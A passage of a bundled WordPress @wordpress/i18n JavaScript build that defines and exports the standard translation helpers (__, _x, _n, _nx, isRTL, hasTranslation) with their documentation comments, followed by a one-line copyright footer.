domain); } return result; }; if (initialData) { setLocaleData(initialData, initialDomain); } if (hooks) { /** * @param {string} hookName */ const onHookAddedOrRemoved = hookName => { if (I18N_HOOK_REGEXP.test(hookName)) { notifyListeners(); } }; hooks.addAction('hookAdded', 'core/i18n', onHookAddedOrRemoved); hooks.addAction('hookRemoved', 'core/i18n', onHookAddedOrRemoved); } return { getLocaleData, setLocaleData, addLocaleData, resetLocaleData, subscribe, __, _x, _n, _nx, isRTL, hasTranslation }; }; ;// CONCATENATED MODULE: external ["wp","hooks"] const external_wp_hooks_namespaceObject = window["wp"]["hooks"]; ;// CONCATENATED MODULE: ./node_modules/@wordpress/i18n/build-module/default-i18n.js /** * Internal dependencies */ /** * WordPress dependencies */ const i18n = createI18n(undefined, undefined, external_wp_hooks_namespaceObject.defaultHooks); /** * Default, singleton instance of `I18n`. */ /* harmony default export */ const default_i18n = (i18n); /* * Comments in this file are duplicated from ./i18n due to * https://github.com/WordPress/gutenberg/pull/20318#issuecomment-590837722 */ /** * @typedef {import('./create-i18n').LocaleData} LocaleData * @typedef {import('./create-i18n').SubscribeCallback} SubscribeCallback * @typedef {import('./create-i18n').UnsubscribeCallback} UnsubscribeCallback */ /** * Returns locale data by domain in a Jed-formatted JSON object shape. * * @see http://messageformat.github.io/Jed/ * * @param {string} [domain] Domain for which to get the data. * @return {LocaleData} Locale data. */ const getLocaleData = i18n.getLocaleData.bind(i18n); /** * Merges locale data into the Tannin instance by domain. Accepts data in a * Jed-formatted JSON object shape. * * @see http://messageformat.github.io/Jed/ * * @param {LocaleData} [data] Locale data configuration. * @param {string} [domain] Domain for which configuration applies. */ const setLocaleData = i18n.setLocaleData.bind(i18n); /** * Resets all current Tannin instance locale data and sets the specified * locale data for the domain. Accepts data in a Jed-formatted JSON object shape. * * @see http://messageformat.github.io/Jed/ * * @param {LocaleData} [data] Locale data configuration. * @param {string} [domain] Domain for which configuration applies. */ const resetLocaleData = i18n.resetLocaleData.bind(i18n); /** * Subscribes to changes of locale data * * @param {SubscribeCallback} callback Subscription callback * @return {UnsubscribeCallback} Unsubscribe callback */ const subscribe = i18n.subscribe.bind(i18n); /** * Retrieve the translation of text. * * @see https://developer.wordpress.org/reference/functions/__/ * * @param {string} text Text to translate. * @param {string} [domain] Domain to retrieve the translated text. * * @return {string} Translated text. */ const __ = i18n.__.bind(i18n); /** * Retrieve translated string with gettext context. * * @see https://developer.wordpress.org/reference/functions/_x/ * * @param {string} text Text to translate. * @param {string} context Context information for the translators. * @param {string} [domain] Domain to retrieve the translated text. * * @return {string} Translated context string without pipe. */ const _x = i18n._x.bind(i18n); /** * Translates and retrieves the singular or plural form based on the supplied * number. * * @see https://developer.wordpress.org/reference/functions/_n/ * * @param {string} single The text to be used if the number is singular. * @param {string} plural The text to be used if the number is plural. * @param {number} number The number to compare against to use either the * singular or plural form. * @param {string} [domain] Domain to retrieve the translated text. * * @return {string} The translated singular or plural form. */ const _n = i18n._n.bind(i18n); /** * Translates and retrieves the singular or plural form based on the supplied * number, with gettext context. * * @see https://developer.wordpress.org/reference/functions/_nx/ * * @param {string} single The text to be used if the number is singular. * @param {string} plural The text to be used if the number is plural. * @param {number} number The number to compare against to use either the * singular or plural form. * @param {string} context Context information for the translators. * @param {string} [domain] Domain to retrieve the translated text. * * @return {string} The translated singular or plural form. */ const _nx = i18n._nx.bind(i18n); /** * Check if current locale is RTL. * * **RTL (Right To Left)** is a locale property indicating that text is written from right to left. * For example, the `he` locale (for Hebrew) specifies right-to-left. Arabic (ar) is another common * language written RTL. The opposite of RTL, LTR (Left To Right) is used in other languages, * including English (`en`, `en-US`, `en-GB`, etc.), Spanish (`es`), and French (`fr`). * * @return {boolean} Whether locale is RTL. */ const isRTL = i18n.isRTL.bind(i18n); /** * Check if there is a translation for a given string (in singular form). * * @param {string} single Singular form of the string to look up. * @param {string} [context] Context information for the translators. * @param {string} [domain] Domain to retrieve the translated text. * @return {boolean} Whether the translation exists or not. */ const hasTranslation = i18n.hasTranslation.bind(i18n); ;// CONCATENATED MODULE: ./node_modules/@wordpress/i18n/build-module/index.js })(); (window.wp = window.wp || {}).i18n = __webpack_exports__; /******/ })() ;
© 2025 UnknownSec